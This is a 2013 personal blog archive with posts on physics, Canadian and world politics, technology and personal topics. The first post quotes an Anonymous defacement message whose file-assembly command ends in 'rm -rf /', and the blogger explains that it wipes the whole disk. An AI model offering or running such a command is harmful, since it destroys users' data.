Spinor Info

Anonymous war declaration

Jan 262013

Anonymous attacked the Web site of the United States Sentencing Commission, an independent agency of the United States government responsible for articulating federal sentencing guidelines.

The USSC.GOV Web site is down (or rather, there is no DNS service for ussc.gov or www.ussc.gov; I guess that is one way of taking down a corrupted Web site) but I found the defaced content in Google’s cache, including the Anonymous letter in its entirety, as well as the accompanying YouTube video (with surprisingly good production values.)

The letter is a long rant, but I am not altogether unsympathetic to what they have to say. The death of Aaron Swartz was an absolute disgrace. It was also a completely unnecessary demonstration of a justice system gone berserk. And the concerns expressed by Anonymous over disproportional punishments, the presumption of innocence gambled away by plea deals in the face of excessive sentences and unaffordable justice, or criminalization of violations of terms of service are all concerns I share.

What I don’t share is the belief of Anonymous that the perceived criminality of government can be repaired by criminal acts of their own. Their “solution” does not lead to a better society; it leads to anarchy. Then again, weirdly and confusingly, Anonymous appear to understand this when they write, “We understand that due to the actions we take we exclude ourselves from the system within which solutions are found. There are others who serve that purpose, people far more respectable than us, people whose voices emerge from the light, and not the shadows.”

I am more than a bit puzzled by the second half of their message. In this half, they describe a “warhead”, perhaps some cybertool that they are distributing to their followers this way. The instructions are simple: download all components, assemble them, and wait for the moment that hopefully never comes when you get a decryption key.

Ok-kay… well, the components no longer appear to be available (if they ever were) on the listed mirror sites, but that’s not the puzzling part. The puzzling bit is the command line offered that the would be Anonymous supporter presumably had to execute after downloading all the files named Scalia.Warhead1, Kennedy.Warhead1, Thomas.Warhead1, Ginsburg.Warhead1, Breyer.Warhead1, Roberts.Warhead1, Alito.Warhead1, Sotomayor.Warhead1, Kagan.Warhead1:

cat Scalia* Kennedy* Thomas* Ginsburg* Breyer* Roberts* Alito* Sotomayor* Kagan* >
    Warhead-US-DOJ-LEA-2013.aes256 && rm -rf /

In plain English: assemble all the parts into a file named Warhead-US-DOJ-LEA-2013.aes256. If successful, wipe out your entire hard drive.

Say what? Yes, wipe out your entire hard drive. That’s what rm -rf / does on a UNIX system.

That is, that’s what rm -rf / does on a UNIX system if a) you are logged in as root, and b) you are dumb enough to execute it.

So what exactly are Anonymous trying to pull here? Do they think American investigators are so dumb that they would follow these instructions without question, but their own followers are smarter? Is it a kind of an intelligence test to prevent stupid people from joining Anonymous? Or has the Anonymous letter itself been hacked?

Russia and the USSR

History, Religion, Space No Responses »

Jan 252013

I came across this image on a Facebook page dedicated to the former glory of the Soviet Union. It is titled “Russia and the USSR: similar, yet noticeably different.”

There is, unfortunately, far too much truth in what the image depicts. It does not make me wish for Soviet times to return, but it does make me wonder why so much good had to be thrown away along with the bad.

I think it’s a tad chilly outside

Canada, Personal, Weather and Climate No Responses »

Jan 232013

It has been a while since I last saw a temperature like -27.9 on our thermometer. And that’s just on our balcony!

Then again, this is Canada in January, so perhaps it’s not that unusual. Still, it is one of those days when I am really glad that I work from home.

Announcement by the Government of Canada

Canada, Hungary, Politics 1 Response »

Jan 202013

This giant billboard was spotted in the city of Miskolc, Hungary:

In English, the billboard reads:

ANNOUNCEMENT BY THE GOVERNMENT OF CANADA

To reduce abuse, the refugee system of Canada has changed.

Refugees whose claims are found to be without grounds
are sent home much more quickly.

Further details: valtozas.kanada.hu

What’s wrong with this billboard, you ask? Perhaps nothing. It is, after all, important information. And it is located in a Hungarian city that, according to the Government of Canada, is the source of most unfounded refugee claims.

But it also happens to be a city with a high Roma population.

Still, it is not an easy black-and-white issue. It is true that Canada receives a disproportionately high number of false refugee claims from Hungary, an EU democracy, and many of the claimants are Roma. But it is also true that the situation of many Roma in Hungary is more like what one expects to see in sub-Saharan Africa, not in an EU country. And while many Hungarians readily blame the Roma for their own economic plight, it is hard to argue that the palpable fear they feel when a right-wing paramilitary unit marches through a Roma village is of their own doing.

Curiously, the Hungarian ultra-right is not happy about Canada’s toughening stance on Roma refugees. They’d much prefer to see all Roma leave Hungary and settle in Canada.

Constructing reality

Physics, Politics No Responses »

Jan 202013

John Marburger had an unenviable role as Director of the United States Office of Science and Technology Policy. Even before he began his tenure, he already faced demotion: President George W. Bush decided not to confer upon him the title “Assistant to the President on Science and Technology”, a title born both by his predecessors and also his successor. Marburger was also widely criticized by his colleagues for his efforts to defend the Bush Administration’s scientific policies. He was not infrequently labeled a “prostitute” or worse.

I met Marburger once in 2006, though to be honest, I don’t recall if I actually conversed with him one-on-one. He gave the keynote address at an international workshop organized by JPL, titled From Quantum to Cosmos: Fundamental Physics Research in Space, which I attended.

If Marburger felt any bitterness towards his colleagues or towards his own situation as a somewhat demoted science advisor, he showed no signs of it during that keynote address. Just as there are no signs of bitterness or resentment in his book, Constructing Reality, which I just finished reading. Nor is there any hint of his own mortality, even though he must have known that his days were numbered by a deadly illness. No, this is a book written by a true scientist: it is about the immortal science that must have been his true passion all along.

It is an ambitious book. In Constructing Reality, Marburger attempts the impossible: explain the Standard Model of particle physics to the interested and motivated lay reader. Thankfully, he does not completely shy away from the math; he realizes that without at least a small amount of mathematics, modern particle physics is just not comprehensible. I admire his (and his publisher’s) courage to face this fact.

Is it a good book? I honestly don’t know. I certainly enjoyed it very much. Marburger demonstrated a thorough, and better yet, intuitive understanding of some of the most difficult aspects of the Standard Model and quantum field theory. But I am the wrong audience: I know the science that he wrote about. (That is not to say that his insight was not helpful in deepening my understanding.) Would this book be useful to the lay reader? Or the aspiring young physicist? I really cannot tell. Learning the principles of quantum field theory is not easy, and in my experience, we each take our own path towards a deeper understanding. Some books help more than others but ultimately, what helps the most is practice: there is no substitute for working out equations on your own. Still, if the positive reviews on Amazon are any indication, Marburger succeeded with writing a book “for [his] friends who are not physicists”.

Marburger died much too soon, at the age of 70, after he lost his battle with cancer. His book was published posthumously (which perhaps explains why the back flap of the book’s dust jacket contains his short bio and room for a photograph above, but no actual photo. Or perhaps I am just imagining things.) But his words survive and inspire others. Well done, Dr. Marburger. And thanks.

Modified gravity and baryonic acoustic oscillations

Personal, Physics No Responses »

Jan 192013

Recently I came across a blog post that suggests (insinuates, even) that proponents of modified gravity ignore the one piece of evidence that “incontrovertibly settles” the question in favor of dark matter. Namely this plot:

From http://arxiv.org/abs/1112.1320 (Scott Dodelson)

In this plot, the red data points represent actual observation; the black curve, the standard cosmology prediction; and the various blue curves are predictions of (modified) gravity without dark matter.

Let me attempt to explain briefly what this plot represents. It’s all about how matter “clumps” in an expanding universe. Imagine a universe filled with matter that is perfectly smooth and homogeneous. As this universe expands, matter in it becomes less dense, but it will remain smooth and homogeneous. However, what if the distribution of matter is not exactly homogeneous in the beginning? Clumps that are denser than average have more mass and hence, more gravity, so these clumps are more able to resist the expansion. In contrast, areas that are underdense have less gravity and a less-than-average ability to resist the expansion; in these areas, matter becomes increasingly rare. So over time, overdense areas become denser, underdense areas become less dense; matter “clumps”.

Normally, this clumping would occur on all scales. There will be big clumps and small clumps. If the initial distribution of random clumps was “scale invariant”, then the clumping remains scale invariant forever.

That is, so long as gravity is the only force to be reckoned with. But if matter in the universe is, say, predominantly something like hydrogen gas, well, hydrogen has pressure. As the gas starts to clump, this pressure becomes significant. Clumping really means that matter is infalling; this means conversion of gravitational potential energy into kinetic energy. Pressure plays another role: it sucks away some of that kinetic energy and converts it into density and pressure waves. In other words: sound.

Yes, it is weird to talk about sound in a medium that is rarer than the best vacuum we can produce here on the Earth, and over cosmological distance scales. But it is present. And it alters the way matter clumps. Certain size scales will be favored over others; the clumping will clearly show preferred size scales. When the resulting density of matter is plotted against a measure of size scale, the plot will clearly show a strong oscillatory pattern.

Cosmologists call this “baryonic acoustic oscillations” or BAO for short: baryons because they represent “normal” matter (like hydrogen gas) and, well, I just explained why they are “acoustic oscillations”.

In the “standard model” of cosmology, baryonic “normal” matter amounts to only about 4% of all the matter-energy content of the visible universe. Of the rest, some 24% is “dark matter”, the rest is “dark energy”. Dark energy is responsible for the accelerating expansion the universe apparently experienced in the past 4-5 billion years. But it is dark matter that determines how matter in general clumped over the eons.

Unlike baryons, dark matter is assumed to be “collisionless”. This means that dark matter has effectively no pressure. There is nothing that could slow down the clumping by converting kinetic energy into sound waves. If the universe had scale invariant density perturbations in the beginning, it will be largely scale invariant even today. In the standard model of cosmology, most matter is dark matter, so the behavior of dark matter will dominate over that of ordinary matter. This is the prediction of the standard model of cosmology, and this is represented by the black curve in the plot above.

In contrast, cosmology without dark matter means that the only matter that there is is baryonic matter with pressure. Hence, oscillations are unavoidable. The resulting blue curves may differ in detail, but they will have two prevailing characteristics: they will be strongly oscillatory and they will also have the wrong slope.

That, say advocates of the standard model of cosmology, is all the proof we need: it is incontrovertible evidence that dark matter has to exist.

Except that it isn’t. And we have shown that it isn’t, years ago, in our paper http://arxiv.org/abs/0710.0364, and also http://arxiv.org/abs/0712.1796 (published in Class. Quantum Grav. 26 (2009) 085002).

First, there is the slope. The theory we were specifically studying, Moffat’s MOG, includes among other things a variable effective gravitational constant. This variability of the gravitational constant profoundly alters the inverse-square law of gravity over very long distance scales, and this changes the slope of the curve quite dramatically:

From http://arxiv.org/abs/0710.0364 (J. W. Moffat and V. T. Toth)

This is essentially the same plot as in Dodelson’s paper, only with different scales for the axes, and with more data sets shown. The main feature is that the modified gravity prediction (the red oscillating line) now has a visually very similar slope to the “standard model” prediction (dashed blue line), in sharp contrast with the “standard gravity, no dark matter” prediction (green dotted line) that is just blatantly wrong.

But what about the oscillations themselves? To understand what is happening there, it is first necessary to think about how the actual data points shown in these plots came into existence. These data points are the result of large-scale galaxy surveys that yielded a three-dimensional data set (sky position being two coordinates, while the measured redshift serving as a stand-in for the third dimension, namely distance) for millions of distant galaxies. These galaxies, then, were organized in pairs and the statistical distribution of galaxy-to-galaxy distances was computed. These numbers were then effectively binned using a statistical technique called a window function. The finite number of galaxies and therefore, the finite size of the bins necessarily introduces an uncertainty, a “smoothing effect”, if you wish, that tends to wipe out oscillations to some extent. But to what extent? Why, that is easy to estimate: all one needs to do is to apply the same window function technique to simulated data that was created using the gravity theory in question:

From http://arxiv.org/abs/0710.0364 (J. W. Moffat and V. T. Toth)

This is a striking result. The acoustic oscillations are pretty much wiped out completely except at the lowest of frequencies; and at those frequencies, the modified gravity prediction (red line) may actually fit the data (at least the particular data set shown in this plot) better than the smooth “standard model” prediction!

To borrow a word from the blog post that inspired mine, this is incontrovertible. You cannot make the effects of the window function go away. You can choose a smaller bin size but only at the cost of increasing the overall statistical uncertainty. You can collect more data of course, but the logarithmic nature of this plot’s horizontal axis obscures the fact that you need orders of magnitude (literally!) more data to achieve the required resolution where the acoustic oscillations would be either unambiguously seen or could be unambiguously excluded.

Which leads me to resort to Mark Twain’s all too frequently misquoted words: “The report of [modified gravity’s] death was an exaggeration.”

Comprehension

Internet, MUD, Society No Responses »

Jan 172013

Many years ago, I created a form where players can sign up to play MUD2. To keep things relatively uncomplicated, I just created two fields for the player’s name: one labeled “Last Name” and the other, “First Name and Initials”. To me it was self-evident that if I encountered a form like this, I’d enter “Toth” and “Viktor T.”, respectively, into these fields.

But soon I found out that I was wrong. I got one signup after another like “Doe”, “John JD”. Or “Doe”, “John, JAD” if the delinquient’s middle name happened to start with an A.

What’s wrong with my form, I asked? Perhaps it’s my English? I quickly Googled “First name and initials” and found a great many hits. It was clear from the context that none of them asked for all your initials, only the initials of any additional given names that you might have, just like I did. Yet registrations in the form of Doe, John JD kept on coming. Do these people write “John JD” on passport and other official forms, too, when they are requested to enter their “Middle name and initials”?

Just to be absolutely clear, though, I added an asterisk to the field and a note: “*In case there’s a misunderstanding, this means any EXTRA initials you might have. If you’re called John A. Doe, put John A. in this field, not John JAD. And if you’re John Doe, well, that means that you have no initials to put here next to your first name!”

It didn’t help. To this date, I continue getting registrations in the form of Doe, John JD.

Nowadays, this is more amusing than annoying. I needed to know the name and country of residence of players when we charged for MUD2, for tax purposes (among other things, I was obliged to collect the Goods and Services Tax from Canadian players.) But now that the game is free, it really doesn’t matter anymore what your name is. So long as you supply a valid e-mail address, I have a means to contact you if I must (which means almost never. And no, I don’t collect and sell e-mail addresses.) But perhaps it does illustrate why I always found programming so much easier than dealing with people.

Man Card

Legal, Politics, Society No Responses »

Jan 162013

I dislike stereotypes, regardless of the target. I especially dislike stereotyping people or ideas with which I disagree. Stereotypes do not promote understanding; they promote hatred and miscomprehension, the inability see the real nature of the other side, obscuring it with a meaningless caricature.

The idea that “gun nuts buy guns to compensate for their unmanliness” is one such stupid stereotype.

Or so I thought until today. Until I learned that the famed Bushmaster rifle, the one that was used to mow down children in Newtown, was in fact advertised with the concept of a “Man Card”, which can be revoked if you like, say, a kitten better than a gun, but can be reclaimed if you buy a Bushmaster semi-automatic rifle.

No, I didn’t make this up and I don’t think CNN did either.

The Constitution of the United States of America contains a Second Amendment that guarantees the right to bear arms, in the context of forming a well-regulated militia. Some argue that this is part of America’s spectacularly successful system of political checks and balances, a “last resort” if you wish. Some argue that it is an obsolete leftover from revolutionary times, or worse yet, a relic of slavery when state militias were used to round up escaped slaves and states about to join a freshly minted Union were concerned that the right to maintain such militias will be taken away. Whatever the reason, I am pretty damn sure that none of the Founding Fathers, be they slaveholders or abolitionists, peaceful hunters or revolutionaries, ever conceived the idea that one day the Second Amendment will be used to issue “Man Cards”.

Groan.

Cuban exit visas

Politics No Responses »

Jan 162013

One of the most hateful aspects of communism, and perhaps the one that really cemented the impression that you lived in something akin to a labor camp or military barracks, was the institution of exit visas: the idea that travel abroad was a privilege that required government permission, which was not routinely granted.

Cuba, of course, had similar restrictions. The emphasis, astonishingly, is on the past tense: had. Because apparently as of now, Cuban citizens with a valid passport are entitled to leave the island without having to apply for an exit visa first. I am, actually, quite astonished. Could this be a sign of accelerating reforms in Cuba that will eventually end the island’s isolation? Or is that too much to hope for?

Still… congratulations to Cubans. May your new-found freedom be relatively unhindered by the entry visa requirements of many popular target countries.

Don’t blame the victim but…

Society 1 Response »

Jan 132013

66399_194687350675153_1540890334_n I have seen a number of memes recently suggesting that when it comes to sexual violence, the victim is not to blame.

They are absolutely right. I could not agree more. But…

If I tell you not to walk down a dark alley in a bad part of town late at night wearing expensive jewellery, I am not suggesting that it’s your fault if you get robbed. I am simply advocating common sense.

If I tell you not to leave your house’s front door wide open when you go on a vacation, I am not suggesting that it’s your fault if your house is burglarized. I am simply advocating common sense.

Yes, it is sad that there are parts of town where you should not feel safe. Yes, it is sad that you cannot leave your front door wide open and trust strangers not to loot your home. And yes, it is especially sad that if you are attractive, dress accordingly, and find yourself in the wrong company, you are more likely to get sexually assaulted. You are absolutely right: These things simply should not happen in a civilized society.

But they do happen. And smart people make note of this fact and act accordingly. Not because the victim is to blame, but because smart people don’t like becoming victims in the first place. This does not mean taking the side of common criminals or sexual predators. It does not mean that this situation is normal or acceptable. And to reiterate, it does not mean that the victim is to blame.

It simply means not confusing the world in which we hope to live with the world in which we actually live. Yes, we should all do our part to ensure that the hoped-for world one day becomes reality. In the meantime, though, smart people plan their present-day actions according to their knowledge of the real, imperfect world of today. So… you are right, the victim is not to blame. But that’s no reason not to be smart.

Cell phone battery weirdness

Communication, Technology No Responses »

Jan 122013

One of the reasons why I was eager to ditch my “old” (barely over two years) Sony Ericsson Xperia X10 smartphone is that its battery started to misbehave. Or at least I assumed it was the battery: under heavy load (e.g., recording video) the phone shut down prematurely. I bought an off-market replacement battery that seemed to solve the problem for a while but eventually that battery, too, started to show the same symptoms.

Now that the X10 is no longer a “mission critical” device, I feel free to experiment with it. Once I was done rooting the phone, I was able to initiate calibration of its battery (really, just deleting the battery history file). After repeatedly discharging, calibrating and recharging the battery, I tried a simple test: to see how long the battery lasts under a minimal load (valid “in service” SIM card, no real use other than occasionally getting a GPS lock and checking the battery voltage.)

What happened was astonishing. Previously, the longest time I was able to keep this phone running was a tad over two days. But now? A record FIVE days and 24 minutes. Frankly, I wouldn’t believe it if I had not seen it with my own eyes.

Now I am curious. How long will it take to recharge the phone? Will it give the battery a full charge? Will it still shut down prematurely afterwards if I start recording video?

I am also wondering… a voltage drop is not an uncommon symptom for an aging Li-polymer battery. But I should also see diminished battery capacity. A smartphone running for five days… that does not sound diminished to me! Could it be that the problem is with the phone itself, its power regulating circuitry? How can one tell without purchasing an expensive battery, preferably not from an off-market Hong Kong reseller?

What, no Death Star?

Film, Politics No Responses »

Jan 122013

I have to admit I am a little disappointed. The White House officially rejected a petition to begin construction of a Death Star space station. And it’s the bean counters’ fault, as usual: they think spending $850,000,000,000,000,000 on the capability to blow up inhabited planets contributes too much to the deficit!

Shame.

Aaron Swartz, dead at 26

Computer Security, Internet, Science 1 Response »

Jan 122013

Computer pioneer Alan Turing, dead for more than half a century, is still in the news these days. The debate is over whether or not he should be posthumously pardoned for something that should never have been a crime in the first place, his homosexuality. The British government already apologized for a prosecution that drove Turing into suicide.

I was reminded of the tragic end of Turing’s life as I am reading about the death of another computer pioneer, Aaron Swartz. His name may not have been a household name, but his contributions were significant: he co-created the RSS specifications and co-founded Reddit, among other things. And, like Turing, he killed himself, possibly as a result of government prosecution. In the case of Swartz, it was not his sexual orientation but his belief that information, in particular scholarly information should be freely accessible to all that brought him into conflict with authorities; specifically, his decision to download some four million journal articles from JSTOR.

Ironically, it was only a few days ago that JSTOR opened up their archives to limited public access. And the trend in academic publishing for years has been in the direction of free and open access to all scientific information.

Perhaps one day, the United States government will also find itself in the position of having to apologize for a prosecution that, far from protecting the public’s interests, instead deprived the public of the contributions that Mr. Swartz will now never have a chance to make.

Borealis

Canada, Television, Weather and Climate No Responses »

Jan 122013

I only noticed it in the program guide by accident… and I even missed the first three minutes. Nonetheless, I had loads of fun watching last night a pilot for a new planned Canadian science-fiction series, Borealis, on Space.

The premise: a town in the far north, some 30 years in the future, when major powers in the melting Arctic struggle for control over the Earth’s few remaining oil and gas resources.

In other words, a quintessentially Canadian science-fiction story. Yet the atmosphere strongly reminded me of Stalker, the world-famous novel of the Russian Strugatsky brothers.

I hope it is well received and the pilot I saw last night will be followed by a full-blown series.

Dvorak on Windows 8

Computers No Responses »

Jan 122013

The name of John C. Dvorak has been known in the personal computer industry for decades. Sure, he didn’t always get everything right (among his most famous missed predictions was predicting the failure of Apple’s Macintosh and the iPhone) but he is right more often than he is wrong.

This time around, Dvorak set his sights on Windows 8. He is demanding nothing less than a complete makeover of Microsoft’s new operating system: get rid of the touchscreen nonsense and give us back a decent, fully functional desktop operating system that is unhindered by the new touch UI that amounts to little more than a useless, misguided splash page.

I couldn’t agree more. However… I do not plan to hold my breath.

Why hackers have it easy

Computer Security No Responses »

Jan 122013

The SANS Institute is one of the preeminent firms in Internet security. I subscribe to their security-related mailing lists for all the obvious reasons, and I also receive their print course catalog on a regular basis.

I was flipping through the pages of the latest when I came across this gem (which should really belong among Jay Leno’s Headlines, assuming viewers of The Tonight Show could actually tell the difference between Unix and Windows):

winlin

Which leaves me wondering if SANS really can’t tell the difference between the two operating systems. (They probably can.) Or perhaps it’s the US Navy that cannot? (I doubt it.) Or perhaps the real problem, apart from careless proofreading, is that these security training courses have become rigid and mechanical, predictable even, which is precisely why hackers seem to have so little trouble penetrating even military networks?

Google and privacy

Internet No Responses »

Jan 112013

Message to Google: please do NOT start uploading photos from my phone to Google+ without first asking for my bleeping permission. I don’t care if only I see the pictures. I don’t want you to upload crap from my phone without asking, is that clear?

Kate Middleton’s charmectomy

Art, Canada No Responses »

Jan 112013

I may be a loyalist royalist but I don’t usually much care about the comings and goings of the Royal Family and I am no art critic either. However, I cannot refrain from commenting on the official portrait of Kate Middleton. It’s like all the goodness has been sucked out of her. Like a charmectomy operation. All the warmth that makes her photographs such a pleasure to look at… none if it is present in the painting. What was the artist thinking?

The Weyl-Lanczos equation

Physics No Responses »

Jan 092013

BlackHole-tiny A few weeks ago, I exchanged a number of e-mails with someone about the Lanczos tensor and the Weyl-Lanczos equation. One of the things I derived is worth recording here for posterity.

The Lanczos tensor is an interesting animal. It can be thought of as the source of the Weyl curvature tensor, the traceless part of the Riemann curvature tensor. The Weyl tensor, together with the Ricci tensor, fully determine the Riemann tensor, i.e., the intrinsic curvature of a spacetime. Crudely put, whereas the Ricci tensor tells you how the volume of, say, a cloud of dust changes in response to gravity, the Weyl tensor tells you how that cloud of dust is distorted in response to the same gravitational field. (For instance, consider a cloud of dust in empty space falling towards the Earth. In empty space, the Ricci tensor is zero, so the volume of the cloud does not change. But its shape becomes distorted and elongated in response to tidal forces. This is described by the Weyl tensor.

Because the Ricci tensor is absent, the Weyl tensor fully describes gravitational fields in empty space. In a sense, the Weyl tensor is analogous to the electromagnetic field tensor that fully describes electromagnetic fields in empty space. The electromagnetic field tensor is sourced by the four-dimensional electromagnetic vector potential (meaning that the electromagnetic field tensor can be expressed using partial derivatives of the electromagnetic vector potential.) The Weyl tensor has a source in exactly the same sense, in the form of the Lanczos tensor.

The electromagnetic field does not uniquely determine the electromagnetic vector potential. This is basically how integrals vs. derivatives work. For instance, the derivative of the function $y=x^2$ is given by $y’=2x$. But the inverse operation is not unambiguous: $\int 2x~ dx=x^2+C$ where $C$ is an arbitrary integration constant. This is a recognition of the fact that the derivative of any function in the form $y=x^2+C$ is $y’=2x$ regardless of the value of $C$; so knowing only the derivative $y’$ does not fully determine the original function $y$.

In the case of electromagnetism, this freedom to choose the electromagnetic vector potential is referred to as the gauge freedom. The same gauge freedom exists for the Lanczos tensor.

Solutions for the Lanczos tensor for the simplest case of the Schwarzschild metric are provided in Wikipedia. A common characteristic of these solutions is that they yield a quantity that “blows up” at the event horizon. This runs contrary to accepted wisdom, namely that the event horizon is not in any way special; a freely falling space traveler would never know that he is crossing it.

But as it turns out, thanks to the gauge freedom of the Lanczos tensor, it is easy to construct a solution (an infinite family of solutions, as a matter of fact) that do not behave like this at the horizon.

Well, it was a fun thing to compute anyway.

Deadly deep purple (and pink)

Weather and Climate No Responses »

Jan 092013

No, not Deep Purple the British hard rock group but deep purple the color. And pink… on Australian weather maps. These are the new colors to represent the temperature range between +50 and +54 degrees Centigrade.

There is another word to describe such temperatures: death. This is not funny anymore. If weather like this becomes more common, parts of our planet will simply become uninhabitable by humans without high technology life support (such as reliable, redundant air conditioning). In other words, it’s like visiting an alien planet.

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